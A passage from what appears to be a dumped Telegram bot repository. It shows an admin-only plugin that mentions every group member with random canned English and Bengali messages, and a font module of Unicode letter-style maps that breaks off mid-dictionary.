ʙᴇ ʜᴀᴘᴘʏ ғʀɪᴇɴᴅ...ᰔᩚ**\",\n           \" **※ ᴄᴀɴ ᴡᴇ ʙᴇ ғʀɪᴇɴᴅs...ᰔᩚ**\",\n           \" **※ ᴀʀᴇ ʏᴏᴜ ᴍᴀʀʀɪᴇᴅ...ᰔᩚ**\",\n           \" **※ ᴡʜᴇʀᴇ ʜᴀᴠᴇ ʏᴏᴜ ʙᴇᴇɴ ʙᴜsʏ ғᴏʀ sᴏ ᴍᴀɴʏ ᴅᴀʏs...ᰔᩚ**\",\n           \" **※ ʟɪɴᴋ ɪs ɪɴ ʙɪᴏ, ᴛᴏ ᴊᴏɪɴ ɴᴏᴡ...ᰔᩚ**\",\n           \" **※ ʜᴀᴅ ғᴜɴ...ᰔᩚ**\",\n           \" **※ ᴅᴏ ʏᴏᴜ ᴋɴᴏᴡ ᴛʜᴇ ᴏᴡɴᴇʀ ᴏғ ᴛʜɪs ɢʀᴏᴜᴘ...ᰔᩚ**\",\n           \" **※ ᴅᴏ ʏᴏᴜ ᴇᴠᴇʀ ʀᴇᴍᴇᴍʙᴇʀ ᴍᴇ...ᰔᩚ**\",\n           \" **※ ʟᴇᴛ's ᴘᴀʀᴛʏ...ᰔᩚ**\",\n           \" **※ ʜᴏᴡ ᴄᴏᴍᴇ ᴛᴏᴅᴀʏ...ᰔᩚ**\",\n           \" **※ ʟɪsᴛᴇɴ ᴍᴇ...ᰔᩚ**\",\n           \" **※ ʜᴏᴡ ᴡᴀs ʏᴏᴜʀ ᴅᴀʏ...ᰔᩚ**\",\n           \" **※ ᴅɪᴅ ʏᴏᴜ sᴇᴇ...ᰔᩚ**\",\n           \" **※ ᴀʀᴇ ʏᴏᴜ ᴛʜᴇ ᴀᴅᴍɪɴ ʜᴇʀᴇ...ᰔᩚ**\",\n           \" **※ ᴀʀᴇ ʏᴏᴜ ɪɴ ʀᴇʟᴀᴛɪᴏɴsʜɪᴘ...ᰔᩚ**\",\n           \" **※ ᴀɴᴅ ʜᴏᴡ ɪs ᴛʜᴇ ᴘʀɪsᴏɴᴇʀ...ᰔᩚ**\",\n           \" **※ sᴀᴡ ʏᴏᴜ ʏᴇsᴛᴇʀᴅᴀʏ...ᰔᩚ**\",\n           \" **※ ᴡʜᴇʀᴇ ᴀʀᴇ ʏᴏᴜ ғʀᴏᴍ...ᰔᩚ**\",\n           \" **※ ᴀʀᴇ ʏᴏᴜ ᴏɴʟɪɴᴇ...ᰔᩚ**\",\n           \" **※ ᴡʜᴀᴛ ᴅᴏ ʏᴏᴜ ʟɪᴋᴇ ᴛᴏ ᴇᴀᴛ...ᰔᩚ**\",\n           \" **※ ᴀᴅᴅ ᴍᴇ ᴛᴏ ʏᴏᴜʀ ɢʀᴏᴜᴘ, ɪ ᴡɪʟʟ ᴘʟᴀʏ ᴍᴜsɪᴄ ᴀɴᴅ ᴛᴀɢ ᴇᴠᴇʀʏᴏɴᴇ...ᰔᩚ**\",\n           \" **※ ᴡɪʟʟ ʏᴏᴜ ᴘʟᴀʏ ᴛʀᴜᴛʜ ᴀɴᴅ ᴅᴀʀᴇ...ᰔᩚ**\",\n           \" **※ ᴡʜᴀᴛs ʜᴀᴘᴘᴇɴᴇᴅ ᴛᴏ ʏᴏᴜ...ᰔᩚ**\",\n           \" **※ ᴅᴏ ʏᴏᴜ ᴡᴀɴɴᴀ ᴇᴀᴛ ᴄʜᴏᴄᴏʟᴀᴛᴇ...ᰔᩚ**\",\n           \" **※ ʜᴇʟʟᴏ ʙᴀʙʏ...ᰔᩚ**\",\n           \" **※ ᴅᴏ ᴄʜᴀᴛᴛɪɴɢ ᴡɪᴛʜ ᴍᴇ...ᰔᩚ**\",\n           \" **※ ᴡʜᴀᴛ ᴅᴏ ʏᴏᴜ sᴀʏ...ᰔᩚ**\",\n           \" **※ ɢɪᴠᴇ ᴍᴇ ʏᴏᴜʀ ᴡʜᴀᴛsᴀᴘᴘ ɴᴜᴍʙᴇʀ ᴘʟᴇᴀsᴇ...ᰔᩚ**\"\n           ]\n\nVC_TAG = [\" **⚘ আমাকে ভুলে যাও...💥**\",\n         \" **⚘ আমি তোমাকে ভালোবাসি না...💥**\",\n         \" **⚘ এটাকে তোমার করো পিয়া, তোমার করো...💥**\",\n         \" **⚘ আমার গ্রুপেও যোগ দিন...💥**\",\n         \" **⚘ আমি হৃদয়ে তোমার নাম রেখেছি...💥**\",\n         \" **⚘ তোমার সব বন্ধু কোথায়...💥**\",\n         \" **⚘ কার স্মৃতিতে তুমি হারিয়ে গেছো আমার ভালোবাসা...💥**\",\n         \" **⚘ তোমার পেশা কি...💥**\",\n         \" **⚘ তুমি কোথায় থাকো...💥**\",\n         \" **⚘ শুভ সকাল, বাবু...💥**\",\n         \" **⚘ শুভ রাত্রি, অনেক দেরি হয়ে গেছে...💥**\",\n         \" **⚘ আমার আজ খুব খারাপ লাগছে...💥**\",\n         \" **⚘ আমার সাথেও কথা বল...💥**\",\n         \" **⚘ আজ রাতের খাবারের জন্য কি...💥**\",\n         \" **⚘ কি হচ্ছে...💥**\",\n         \" **⚘ তুমি মেসেজ দাও না কেন...💥**\",\n         \" **⚘ আমি নির্দোষ...💥**\",\n         \" **⚘ এটা গতকাল মজা ছিল, তাই না...💥**\",\n         \" **⚘ তুমি গতকাল কোথায় ব্যস্ত ছিলে...💥**\",\n         \" **⚘ তুমি কি সম্পর্কে আছো...💥**\",\n         \" **⚘ তুমি খুব শান্ত থাকো বন্ধু...💥**\",\n         \" **⚘ তুমি কি গাইতে জানো, গাইতে...💥**\",\n         \" **⚘ তুমি কি আমার সাথে বেড়াতে আসবে...💥**\",\n         \" **⚘ সবসময় হাসিখুশি থেকো বন্ধু...💥**\",\n         \" **⚘ আমরা কি বন্ধু হতে পারি...💥**\",\n         \" **⚘ তুমি কি বিবাহিত...💥**\",\n         \" **⚘ এত দিন কোথায় ব্যস্ত ছিলে...💥**\",\n         \" **⚘ লিঙ্ক বায়োতে আছে, এখন যোগ দিতে...💥**\",\n         \" **⚘ মজা করলাম...💥**\",\n         \" **⚘ আপনি কি এই গ্রুপের মালিককে চেনেন...💥**\",\n         \" **⚘ তোমার কি কখনো মনে পড়ে আমায়...💥**\",\n         \" **⚘ চলো পার্টি করি...💥**\",\n         \" **⚘ আজ কেমন এলো...💥**\",\n         \" **⚘ কেমন কাটলো তোমার দিন...💥**\",\n         \" **⚘ তুমি কি দেখেছো...💥**\",\n         \" **⚘ আপনি কি এখানকার প্রশাসক...💥**\",\n         \" **⚘ আমরা বন্ধু হতে পারি...💥**\",\n         \" **⚘ তুমি কি সম্পর্কে আছো...💥**\",\n         \" **⚘ আর বন্দী কেমন আছে...💥**\",\n         \" **⚘ তোমাকে গতকাল দেখেছি...💥**\",\n         \" **⚘ তুমি কোথা থেকে...💥**\",\n         \" **⚘ আপনি কি অনলাইনে আছেন...💥**\",\n         \" **⚘ তুমি কি আমার বন্ধু....💥**\",\n         \" **⚘ তুমি কি খেতে পছন্দ কর...💥**\",\n         \" **⚘ আমাকে আপনার গ্রুপে অ্যাড করুন, আমি গান বাজিয়ে সবাইকে ট্যাগ করব....💥**\",\n         \" **⚘ আজ আমি দুঃখিত...💥**\",\n         \" **⚘ তুমি কি সত্য খেলবে এবং সাহস করবে...💥**\",\n         \" **⚘ তোমার মত বন্ধু থাকলে চিন্তার কি আছে...💥**\",\n         \" **⚘ কি হয়েছে তোমার...💥**\",\n         \" **⚘ তুমি কি চকলেট খেতে চাও....💥**\",\n         \" **⚘ হ্যালো বাবু...💥**\",\n         \" **⚘ আমার সাথে চ্যাট করো...💥**\",\n         \" **⚘ তুমি কি বলো...💥**\"\n        ]\n\n\n@app.on_message(filters.command([\"entag\", \"englishtag\" ], prefixes=[\"/\", \"@\", \"#\"]))\nasync def mentionall(client, message):\n    chat_id = message.chat.id\n    if message.chat.type == ChatType.PRIVATE:\n        return await message.reply(\"๏ ᴛʜɪs ᴄᴏᴍᴍᴀɴᴅ ᴏɴʟʏ ғᴏʀ ɢʀᴏᴜᴘs.\")\n\n    is_admin = False\n    try:\n        participant = await client.get_chat_member(chat_id, message.from_user.id)\n    except UserNotParticipant:\n        is_admin = False\n    else:\n        if participant.status in (\n            ChatMemberStatus.ADMINISTRATOR,\n            ChatMemberStatus.OWNER\n        ):\n            is_admin = True\n    if not is_admin:\n        return await message.reply(\"๏ ʏᴏᴜ ᴀʀᴇ ɴᴏᴛ ᴀᴅᴍɪɴ ʙᴀʙʏ, ᴏɴʟʏ ᴀᴅᴍɪɴs ᴄᴀɴ ᴛᴀɢ ᴍᴇᴍʙᴇʀs. \")\n\n    if message.reply_to_message and message.text:\n        return await message.reply(\"/entag ɢᴏᴏᴅ ᴍᴏʀɴɪɴɢ ᴛʏᴘᴇ ʟɪᴋᴇ ᴛʜɪs / ʀᴇᴘʟʏ ᴀɴʏ ᴍᴇssᴀɢᴇ ɴᴇxᴛ ᴛɪᴍᴇ ʙᴏᴛ ᴛᴀɢɢɪɴɢ...\")\n    elif message.text:\n        mode = \"text_on_cmd\"\n        msg = message.text\n    elif message.reply_to_message:\n        mode = \"text_on_reply\"\n        msg = message.reply_to_message\n        if not msg:\n            return await message.reply(\"/entag ɢᴏᴏᴅ ᴍᴏʀɴɪɴɢ ᴛʏᴘᴇ ʟɪᴋᴇ ᴛʜɪs / ʀᴇᴘʟʏ ᴀɴʏ ᴍᴇssᴀɢᴇ ɴᴇxᴛ ᴛɪᴍᴇ ғᴏᴛ ᴛᴀɢɢɪɴɢ...\")\n    else:\n        return await message.reply(\"/entag ɢᴏᴏᴅ ᴍᴏʀɴɪɴɢ ᴛʏᴘᴇ ʟɪᴋᴇ ᴛʜɪs / ʀᴇᴘʟʏ ᴀɴʏ ᴍᴇssᴀɢᴇ ɴᴇxᴛ ᴛɪᴍᴇ ʙᴏᴛ ᴛᴀɢɢɪɴɢ...\")\n    if chat_id in spam_chats:\n        return await message.reply(\"๏ ᴘʟᴇᴀsᴇ ᴀᴛ ғɪʀsᴛ sᴛᴏᴘ ʀᴜɴɴɪɴɢ ᴍᴇɴᴛɪᴏɴ ᴘʀᴏᴄᴇss...\")\n    spam_chats.append(chat_id)\n    usrnum = 0\n    usrtxt = \"\"\n    async for usr in client.get_chat_members(chat_id):\n        if not chat_id in spam_chats:\n            break\n        if usr.user.is_bot:\n            continue\n        usrnum += 1\n        usrtxt += \"<a href='tg://user?id={}'>{}</a>\".format(usr.user.id, usr.user.first_name)\n\n        if usrnum == 1:\n            if mode == \"text_on_cmd\":\n                txt = f\"{usrtxt} {random.choice(TAGMES)}\"\n                await client.send_message(chat_id, txt)\n            elif mode == \"text_on_reply\":\n                await msg.reply(f\"[{random.choice(EMOJI)}](tg://user?id={usr.user.id})\")\n            await asyncio.sleep(4)\n            usrnum = 0\n            usrtxt = \"\"\n    try:\n        spam_chats.remove(chat_id)\n    except:\n        pass\n\n\n@app.on_message(filters.command([\"bntag\"], prefixes=[\"/\", \"@\", \"#\"]))\nasync def mention_allvc(client, message):\n    chat_id = message.chat.id\n    if message.chat.type == ChatType.PRIVATE:\n        return await message.reply(\"๏ ᴛʜɪs ᴄᴏᴍᴍᴀɴᴅ ᴏɴʟʏ ғᴏʀ ɢʀᴏᴜᴘs.\")\n\n    is_admin = False\n    try:\n        participant = await client.get_chat_member(chat_id, message.from_user.id)\n    except UserNotParticipant:\n        is_admin = False\n    else:\n        if participant.status in (\n            ChatMemberStatus.ADMINISTRATOR,\n            ChatMemberStatus.OWNER\n        ):\n            is_admin = True\n    if not is_admin:\n        return await message.reply(\"๏ ʏᴏᴜ ᴀʀᴇ ɴᴏᴛ ᴀᴅᴍɪɴ ʙᴀʙʏ, ᴏɴʟʏ ᴀᴅᴍɪɴs ᴄᴀɴ ᴛᴀɢ ᴍᴇᴍʙᴇʀs. \")\n    if chat_id in spam_chats:\n        return await message.reply(\"๏ ᴘʟᴇᴀsᴇ ᴀᴛ ғɪʀsᴛ sᴛᴏᴘ ʀᴜɴɴɪɴɢ ᴍᴇɴᴛɪᴏɴ ᴘʀᴏᴄᴇss...\")\n    spam_chats.append(chat_id)\n    usrnum = 0\n    usrtxt = \"\"\n    async for usr in client.get_chat_members(chat_id):\n        if not chat_id in spam_chats:\n            break\n        if usr.user.is_bot:\n            continue\n        usrnum += 1\n        usrtxt += \"<a href='tg://user?id={}'>{}</a>\".format(usr.user.id, usr.user.first_name)\n\n        if usrnum == 1:\n            txt = f\"{usrtxt} {random.choice(VC_TAG)}\"\n            await client.send_message(chat_id, txt)\n            await asyncio.sleep(4)\n            usrnum = 0\n            usrtxt = \"\"\n    try:\n        spam_chats.remove(chat_id)\n    except:\n        pass\n\n\n\n@app.on_message(filters.command([\"cancel\", \"enstop\", \"bnstop\"]))\nasync def cancel_spam(client, message):\n    if not message.chat.id in spam_chats:\n        return await message.reply(\"๏ ᴄᴜʀʀᴇɴᴛʟʏ ɪ'ᴍ ɴᴏᴛ ᴛᴀɢɢɪɴɢ ʙᴀʙʏ.\")\n    is_admin = False\n    try:\n        participant = await client.get_chat_member(message.chat.id, message.from_user.id)\n    except UserNotParticipant:\n        is_admin = False\n    else:\n        if participant.status in (\n            ChatMemberStatus.ADMINISTRATOR,\n            ChatMemberStatus.OWNER\n        ):\n            is_admin = True\n    if not is_admin:\n        return await message.reply(\"๏ ʏᴏᴜ ᴀʀᴇ ɴᴏᴛ ᴀᴅᴍɪɴ ʙᴀʙʏ, ᴏɴʟʏ ᴀᴅᴍɪɴs ᴄᴀɴ ᴛᴀɢ ᴍᴇᴍʙᴇʀs.\")\n    else:\n        try:\n            spam_chats.remove(message.chat.id)\n        except:\n            pass\n        return await message.reply(\"๏ ᴍᴇɴᴛɪᴏɴ ᴘʀᴏᴄᴇss sᴛᴏᴘᴘᴇᴅ ๏\")\n          \n"
  },
  {
    "path": "BrandrdXMusic/plugins/admins/font.py",
    "content": "class Fonts:\n    def typewriter(text):\n        style = {\n            \"a\": \"𝚊\",\n            \"b\": \"𝚋\",\n            \"c\": \"𝚌\",\n            \"d\": \"𝚍\",\n            \"e\": \"𝚎\",\n            \"f\": \"𝚏\",\n            \"g\": \"𝚐\",\n            \"h\": \"𝚑\",\n            \"i\": \"𝚒\",\n            \"j\": \"𝚓\",\n            \"k\": \"𝚔\",\n            \"l\": \"𝚕\",\n            \"m\": \"𝚖\",\n            \"n\": \"𝚗\",\n            \"o\": \"𝚘\",\n            \"p\": \"𝚙\",\n            \"q\": \"𝚚\",\n            \"r\": \"𝚛\",\n            \"s\": \"𝚜\",\n            \"t\": \"𝚝\",\n            \"u\": \"𝚞\",\n            \"v\": \"𝚟\",\n            \"w\": \"𝚠\",\n            \"x\": \"𝚡\",\n            \"y\": \"𝚢\",\n            \"z\": \"𝚣\",\n            \"A\": \"𝙰\",\n            \"B\": \"𝙱\",\n            \"C\": \"𝙲\",\n            \"D\": \"𝙳\",\n            \"E\": \"𝙴\",\n            \"F\": \"𝙵\",\n            \"G\": \"𝙶\",\n            \"H\": \"𝙷\",\n            \"I\": \"𝙸\",\n            \"J\": \"𝙹\",\n            \"K\": \"𝙺\",\n            \"L\": \"𝙻\",\n            \"M\": \"𝙼\",\n            \"N\": \"𝙽\",\n            \"O\": \"𝙾\",\n            \"P\": \"𝙿\",\n            \"Q\": \"𝚀\",\n            \"R\": \"𝚁\",\n            \"S\": \"𝚂\",\n            \"T\": \"𝚃\",\n            \"U\": \"𝚄\",\n            \"V\": \"𝚅\",\n            \"W\": \"𝚆\",\n            \"X\": \"𝚇\",\n            \"Y\": \"𝚈\",\n            \"Z\": \"𝚉\",\n        }\n        for i, j in style.items():\n            text = text.replace(i, j)\n        return text\n\n    def outline(text):\n        style = {\n            \"a\": \"𝕒\",\n            \"b\": \"𝕓\",\n            \"c\": \"𝕔\",\n            \"d\": \"𝕕\",\n            \"e\": \"𝕖\",\n            \"f\": \"𝕗\",\n            \"g\": \"𝕘\",\n            \"h\": \"𝕙\",\n            \"i\": \"𝕚\",\n            \"j\": \"𝕛\",\n            \"k\": \"𝕜\",\n            \"l\": \"𝕝\",\n            \"m\": \"𝕞\",\n            \"n\": \"𝕟\",\n            \"o\": \"𝕠\",\n            \"p\": \"𝕡\",\n            \"q\": \"𝕢\",\n            \"r\": \"𝕣\",\n            \"s\": \"𝕤\",\n            \"t\": \"𝕥\",\n            \"u\": \"𝕦\",\n            \"v\": \"𝕧\",\n            \"w\": \"𝕨\",\n            \"x\": \"𝕩\",\n            \"y\": \"𝕪\",\n            \"z\": \"𝕫\",\n            \"A\": \"𝔸\",\n            \"B\": \"𝔹\",\n            \"C\": \"ℂ\",\n            \"D\": \"𝔻\",\n            \"E\": \"𝔼\",\n            \"F\": \"𝔽\",\n            \"G\": \"𝔾\",\n            \"H\": \"ℍ\",\n            \"I\": \"𝕀\",\n            \"J\": \"𝕁\",\n            \"K\": \"𝕂\",\n            \"L\": \"𝕃\",\n            \"M\": \"𝕄\",\n            \"N\": \"ℕ\",\n            \"O\": \"𝕆\",\n            \"P\": \"ℙ\",\n            \"Q\": \"ℚ\",\n            \"R\": \"ℝ\",\n            \"S\": \"𝕊\",\n            \"T\": \"𝕋\",\n            \"U\": \"𝕌\",\n            \"V\": \"𝕍\",\n            \"W\": \"𝕎\",\n            \"X\": \"𝕏\",\n            \"Y\": \"𝕐\",\n            \"Z\": \"ℤ\",\n            \"0\": \"𝟘\",\n            \"1\": \"𝟙\",\n            \"2\": \"𝟚\",\n            \"3\": \"𝟛\",\n            \"4\": \"𝟜\",\n            \"5\": \"𝟝\",\n            \"6\": \"𝟞\",\n            \"7\": \"𝟟\",\n            \"8\": \"𝟠\",\n            \"9\": \"𝟡\",\n        }\n        for i, j in style.items():\n            text = text.replace(i, j)\n        return text\n\n    def serief(text):\n        style = {\n            \"a\": \"𝐚\",\n            \"b\": \"𝐛\",\n            \"c\": \"𝐜\",\n            \"d\": \"𝐝\",\n            \"e\": \"𝐞\",\n            \"f\": \"𝐟\",\n            \"g\": \"𝐠\",\n            \"h\": \"𝐡\",\n            \"i\": \"𝐢\",\n            \"j\": \"𝐣\",\n            \"k\": \"𝐤\",\n            \"l\": \"𝐥\",\n            \"m\": \"𝐦\",\n            \"n\": \"𝐧\",\n            \"o\": \"𝐨\",\n            \"p\": \"𝐩\",\n            \"q\": \"𝐪\",\n            \"r\": \"𝐫\",\n            \"s\": \"𝐬\",\n            \"t\": \"𝐭\",\n            \"u\": \"𝐮\",\n            \"v\": \"𝐯\",\n            \"w\": \"𝐰\",\n            \"x\": \"𝐱\",\n            \"y\": \"𝐲\",\n            \"z\": \"𝐳\",\n            \"A\": \"𝐀\",\n            \"B\": \"𝐁\",\n            \"C\": \"𝐂\",\n            \"D\": \"𝐃\",\n            \"E\": \"𝐄\",\n            \"F\": \"𝐅\",\n            \"G\": \"𝐆\",\n            \"H\": \"𝐇\",\n            \"I\": \"𝐈\",\n            \"J\": \"𝐉\",\n            \"K\": \"𝐊\",\n            \"L\": \"𝐋\",\n            \"M\": \"𝐌\",\n            \"N\": \"𝐍\",\n            \"O\": \"𝐎\",\n            \"P\": \"𝐏\",\n            \"Q\": \"𝐐\",\n            \"R\": \"𝐑\",\n            \"S\": \"𝐒\",\n            \"T\": \"𝐓\",\n            \"U\": \"𝐔\",\n            \"V\": \"𝐕\",\n            \"W\": \"𝐖\",\n            \"X\": \"𝐗\",\n            \"Y\": \"𝐘\",\n            \"Z\": \"𝐙\",\n            \"0\": \"𝟎\",\n            \"1\": \"𝟏\",\n            \"2\": \"𝟐\",\n            \"3\": \"𝟑\",\n            \"4\": \"𝟒\",\n            \"5\": \"𝟓\",\n            \"6\": \"𝟔\",\n            \"7\": \"𝟕\",\n            \"8\": \"𝟖\",\n            \"9\": \"𝟗\",\n        }\n        for i, j in style.items():\n            text = text.replace(i, j)\n        return text\n\n    def bold_cool(text):\n        style = {\n            \"a\": \"𝒂\",\n            \"b\": \"𝒃\",\n            \"c\": \"𝒄\",\n            \"d\": \"𝒅\",\n            \"e\": \"𝒆\",\n            \"f\": \"𝒇\",\n            \"g\": \"𝒈\",\n            \"h\": \"𝒉\",\n            \"i\": \"𝒊\",\n            \"j\": \"𝒋\",\n            \"k\": \"𝒌\",\n            \"l\": \"𝒍\",\n            \"m\": \"𝒎\",\n            \"n\": \"𝒏\",\n            \"o\": \"𝒐\",\n            \"p\": \"𝒑\",\n            \"q\": \"𝒒\",\n            \"r\": \"𝒓\",\n            \"s\": \"𝒔\",\n            \"t\": \"𝒕\",\n            \"u\": \"𝒖\",\n            \"v\": \"𝒗\",\n            \"w\": \"𝒘\",\n            \"x\": \"𝒙\",\n            \"y\": \"𝒚\",\n            \"z\": \"𝒛\",\n            \"A\": \"𝑨\",\n            \"B\": \"𝑩\",\n            \"C\": \"𝑪\",\n            \"D\": \"𝑫\",\n            \"E\": \"𝑬\",\n            \"F\": \"𝑭\",\n            \"G\": \"𝑮\",\n            \"H\": \"𝑯\",\n            \"I\": \"𝑰\",\n            \"J\": \"𝑱\",\n            \"K\": \"𝑲\",\n            \"L\": \"𝑳\",\n            \"M\": \"𝑴\",\n            \"N\": \"𝑵\",\n            \"O\": \"𝑶\",\n            \"P\": \"𝑷\",\n            \"Q\": \"𝑸\",\n            \"R\": \"𝑹\",\n            \"S\": \"𝑺\",\n            \"T\": \"𝑻\",\n            \"U\": \"𝑼\",\n            \"V\": \"𝑽\",\n            \"W\": \"𝑾\",\n            \"X\": \"𝑿\",\n            \"Y\": \"𝒀\",\n            \"Z\": \"𝒁\",\n        }\n        for i, j in style.items():\n            text = text.replace(i, j)\n        return text\n\n    def cool(text):\n        style = {\n            \"a\": \"𝑎\",\n            \"b\": \"𝑏\",\n            \"c\": \"𝑐\",\n            \"d\": \"𝑑\",\n            \"e\": \"𝑒\",\n            \"f\": \"𝑓\",\n            \"g\": \"𝑔\",\n            \"h\": \"ℎ\",\n            \"i\": \"𝑖\",\n            \"j\": \"𝑗\",\n            \"k\": \"𝑘\",\n            \"l\": \"𝑙\",\n            \"m\": \"𝑚\",\n            \"n\": \"𝑛\",\n            \"o\": \"𝑜\",\n            \"p\": \"𝑝\",\n            \"q\": \"𝑞\",\n            \"r\": \"𝑟\",\n            \"s\": \"𝑠\",\n            \"t\": \"𝑡\",\n            \"u\": \"𝑢\",\n            \"v\": \"𝑣\",\n            \"w\": \"𝑤\",\n            \"x\": \"𝑥\",\n            \"y\": \"𝑦\",\n            \"z\": \"𝑧\",\n            \"A\": \"𝐴\",\n            \"B\": \"𝐵\",\n            \"C\": \"𝐶\",\n            \"D\": \"𝐷\",\n            \"E\": \"𝐸\",\n            \"F\": \"𝐹\",\n            \"G\": \"𝐺\",\n            \"H\": \"𝐻\",\n            \"I\": \"𝐼\",\n            \"J\": \"𝐽\",\n            \"K\": \"𝐾\",\n            \"L\": \"𝐿\",\n            \"M\": \"𝑀\",\n            \"N\": \"𝑁\",\n            \"O\": \"𝑂\",\n            \"P\": \"𝑃\",\n            \"Q\": \"𝑄\",\n            \"R\": \"𝑅\",\n            \"S\": \"𝑆\",\n            \"T\": \"𝑇\",\n            \"U\": \"𝑈\",\n            \"V\": \"𝑉\",\n            \"W\": \"𝑊\",\n            \"X\": \"𝑋\",\n            \"Y\": \"𝑌\",\n            \"Z\": \"𝑍\",\n        }\n        for i, j in style.items():\n            text = text.replace(i, j)\n        return text\n\n    def smallcap(text):\n        style = {\n            \"a\": \"ᴀ\",\n            \"b\": \"ʙ\",\n            \"c\": \"ᴄ\",\n            \"d\": \"ᴅ\",\n            \"e\": \"ᴇ\",\n            \"f\": \"ғ\",\n            \"g\": \"ɢ\",\n            \"h\": \"ʜ\",\n            \"i\": \"ɪ\",\n            \"j\": \"J\",\n            \"k\": \"ᴋ\",\n            \"l\": \"ʟ\",\n            \"m\": \"ᴍ\",\n            \"n\": \"ɴ\",\n            \"o\": \"ᴏ\",\n            \"p\": \"ᴘ\",\n            \"q\": \"ǫ\",\n            \"r\": \"ʀ\",\n            \"s\": \"s\",\n            \"t\": \"ᴛ\",\n            \"u\": \"ᴜ\",\n            \"v\": \"ᴠ\",\n            \"w\": \"ᴡ\",\n            \"x\": \"x\",\n            \"y\": \"ʏ\",\n            \"z\": \"ᴢ\",\n            \"A\": \"A\",\n            \"B\": \"B\",\n            \"C\": \"C\",\n            \"D\": \"D\",\n            \"E\": \"E\",\n            \"F\": \"F\",\n            \"G\": \"G\",\n            \"H\": \"H\",\n            \"I\": \"I\",\n            \"J\": \"J\",\n            \"K\": \"K\",\n            \"L\": \"L\",\n            \"M\": \"M\",\n            \"N\": \"N\",\n            \"O\": \"O\",\n            \"P\": \"P\",\n            \"Q\": \"Q\",\n            \"R\": \"R\",\n            \"S\": \"S\",\n            \"T\": \"T\",\n            \"U\": \"U\",\n            \"V\": \"V\",\n            \"W\": \"W\",\n            \"X\": \"X\",\n            \"Y\": \"Y\",\n            \"Z\": \"Z\",\n            \"0\": \"𝟶\",\n            \"1\": \"𝟷\",\n            \"2\": \"𝟸\",\n            \"3\": \"𝟹\",\n            \"4\": \"𝟺\",\n            \"5\": \"𝟻\",\n            \"6\": \"𝟼\",\n            \"7\": \"𝟽\",\n            \"8\": \"𝟾\",\n            \"9\": \"𝟿\",\n        }\n        for i, j in style.items():\n            text = text.replace(i, j)\n        return text\n\n    def script(text):\n        style = {\n            \"a\": \"𝒶\",\n            \"b\": \"𝒷\",\n            \"c\": \"𝒸\",\n            \"d\": \"𝒹\",\n            \"e\": \"ℯ\",\n            \"f\": \"𝒻\",\n            \"g\": \"ℊ\",\n            \"h\": \"𝒽\",\n            \"i\": \"𝒾\",\n            \"j\": \"𝒿\",\n            \"k\": \"𝓀\",\n            \"l\": \"𝓁\",\n            \"m\": \"𝓂\",\n            \"n\": \"𝓃\",\n            \"o\": \"ℴ\",\n            \"p\": \"𝓅\",\n            \"q\": \"𝓆\",\n            \"r\": \"𝓇\",\n            \"s\": \"𝓈\",\n            \"t\": \"𝓉\",\n            \"u\": \"𝓊\",\n            \"v\": \"𝓋\",\n            \"w\": \"𝓌\",\n            \"x\": \"𝓍\",\n            \"y\": \"𝓎\",\n            \"z\": \"𝓏\",\n            \"A\": \"𝒜\",\n            \"B\": \"ℬ\",\n            \"C\": \"𝒞\",\n            \"D\": \"𝒟\",\n            \"E\": \"ℰ\",\n            \"F\": \"ℱ\",\n            \"G\": \"𝒢\",\n            \"H\": \"ℋ\",\n            \"I\": \"ℐ\",\n            \"J\": \"𝒥\",\n            \"K\": \"𝒦\",\n            \"L\": \"ℒ\",\n            \"M\": \"ℳ\",\n            \"N\": \"𝒩\",\n            \"O\": \"𝒪\",\n            \"P\": \"𝒫\",\n            \"Q\": \"𝒬\",\n            \"R\": \"ℛ\",\n            \"S\": \"𝒮\",\n            \"T\": \"𝒯\",\n            \"U\": \"𝒰\",\n            \"V\": \"𝒱\",\n            \"W\": \"𝒲\",\n            \"X\": \"𝒳\",\n            \"Y\": \"𝒴\",\n            \"Z\": \"𝒵\",\n        }\n        for i, j in style.items():\n            text = text.replace(i, j)\n        return text\n\n    def bold_script(text):\n        style = {\n            \"a\": \"𝓪\",\n            \"b\": \"𝓫\",\n            \"c\": \"𝓬\",\n            \"d\": \"𝓭\",\n            \"e\": \"𝓮\",\n            \"f\": \"𝓯\",\n            \"g\": \"𝓰\",\n            \"h\": \"𝓱\",\n            \"i\": \"𝓲\",\n            \"j\": \"𝓳\",\n            \"k\": \"𝓴\",\n            \"l\": \"𝓵\",\n            \"m\": \"𝓶\",\n            \"n\": \"𝓷\",\n            \"o\": \"𝓸\",\n            \"p\": \"𝓹\",\n            \"q\": \"𝓺\",\n            \"r\": \"𝓻\",\n            \"s\": \"𝓼\",\n            \"t\": \"𝓽\",\n            \"u\": \"𝓾\",\n            \"v\": \"𝓿\",\n            \"w\": \"𝔀\",\n            \"x\": \"𝔁\",\n            \"y\": \"𝔂\",\n            \"z\": \"𝔃\",\n            \"A\": \"𝓐\",\n            \"B\": \"𝓑\",\n            \"C\": \"𝓒\",\n            \"D\": \"𝓓\",\n            \"E\": \"𝓔\",\n            \"F\": \"𝓕\",\n            \"G\": \"𝓖\",\n            \"H\": \"𝓗\",\n            \"I\": \"𝓘\",\n            \"J\": \"𝓙\",\n            \"K\": \"𝓚\",\n            \"L\": \"𝓛\",\n            \"M\": \"𝓜\",\n            \"N\": \"𝓝\",\n            \"O\": \"𝓞\",\n            \"P\": \"𝓟\",\n            \"Q\": \"𝓠\",\n            \"R\": \"𝓡\",\n            \"S\": \"𝓢\",\n            \"T\": \"𝓣\",\n            \"U\": \"𝓤\",\n            \"V\": \"𝓥\",\n            \"W\": \"𝓦\",\n            \"X\": \"𝓧\",\n            \"Y\": \"𝓨\",\n            \"Z\": \"𝓩\",\n        }\n        for i, j in style.items():\n            text = text.replace(i, j)\n        return text\n\n    def tiny(text):\n        style = {\n            \"a\": \"ᵃ\",\n            \"b\": \"ᵇ\",\n            \"c\": \"ᶜ\",\n            \"d\": \"ᵈ\",\n            \"e\": \"ᵉ\",\n            \"f\": \"ᶠ\",\n            \"g\": \"ᵍ\",\n            \"h\": \"ʰ\",\n            \"i\": \"ⁱ\",\n            \"j\": \"ʲ\",\n            \"k\": \"ᵏ\",\n            \"l\": \"ˡ\",\n            \"m\": \"ᵐ\",\n            \"n\": \"ⁿ\",\n            \"o\": \"ᵒ\",\n            \"p\": \"ᵖ\",\n            \"q\": \"ᵠ\",\n            \"r\": \"ʳ\",\n            \"s\": \"ˢ\",\n            \"t\": \"ᵗ\",\n            \"u\": \"ᵘ\",\n            \"v\": \"ᵛ\",\n            \"w\": \"ʷ\",\n            \"x\": \"ˣ\",\n            \"y\": \"ʸ\",\n            \"z\": \"ᶻ\",\n            \"A\": \"ᵃ\",\n            \"B\": 